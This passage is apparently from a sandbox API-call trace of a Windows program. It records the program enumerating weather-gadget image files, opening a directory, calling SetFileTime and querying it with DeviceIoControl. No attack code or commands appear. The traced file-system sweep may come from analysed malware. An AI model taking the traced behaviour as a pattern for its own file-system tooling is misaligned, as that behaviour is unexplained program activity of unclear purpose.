ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6e51c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc6e51c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc70b323, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc70b323, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfacf3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7575e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7575e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7575e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7575e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc77d740, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc77d740, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdfd309c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a389f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7a389f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdff91fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a389f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7a389f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdff91fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7c99fe, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7c99fe, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0454bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7efb5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc7efb5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0454bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc83be1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc83be1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe06b61c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc861f7a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc861f7a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe06b61c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6469, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc861f7a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc861f7a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe09177c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8880d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8880d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe09177c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x62fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8ae238, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8ae238, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0b78dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8ae238, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8ae238, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0b78dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6455, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8d4397, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8d4397, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0dda3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8fa4f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc8fa4f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe0dda3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6222, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc920655, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc920655, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe103b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x94ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_rainy.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9467b4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9467b4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_snow.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc96c913, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc96c913, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc992a72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc992a72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x9c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_windy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc992a72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc992a72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6add, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9b8bd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9b8bd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_snow.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc9ded30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc9ded30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe129cfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8f5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_sun.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca04e8f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca04e8f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbc54, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_windy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca2afee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca2afee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8184, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca772ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca772ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8450, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca772ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbca772ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe14fe5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x893d, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_foggy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcac356a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcac356a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x9508, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_hail.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcae96c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcae96c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa742, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_rainy.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe175fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa0df, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_snow.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0090.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb35987, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcb35987, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe19c11c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 0 [0090.441] GetLastError () returned 0x12 [0090.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.441] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd699b5c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd699b5c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 1 [0090.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="120DPI", cAlternateFileName="")) returned 1 [0090.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.442] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.443] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.443] NtClose (Handle=0x168) returned 0x0 [0090.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c6a8) returned 1 [0090.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c6a8 [0090.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.444] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0090.446] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.446] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe19c11c, ftCreationTime.dwHighDateTime=0x1c9ea13, 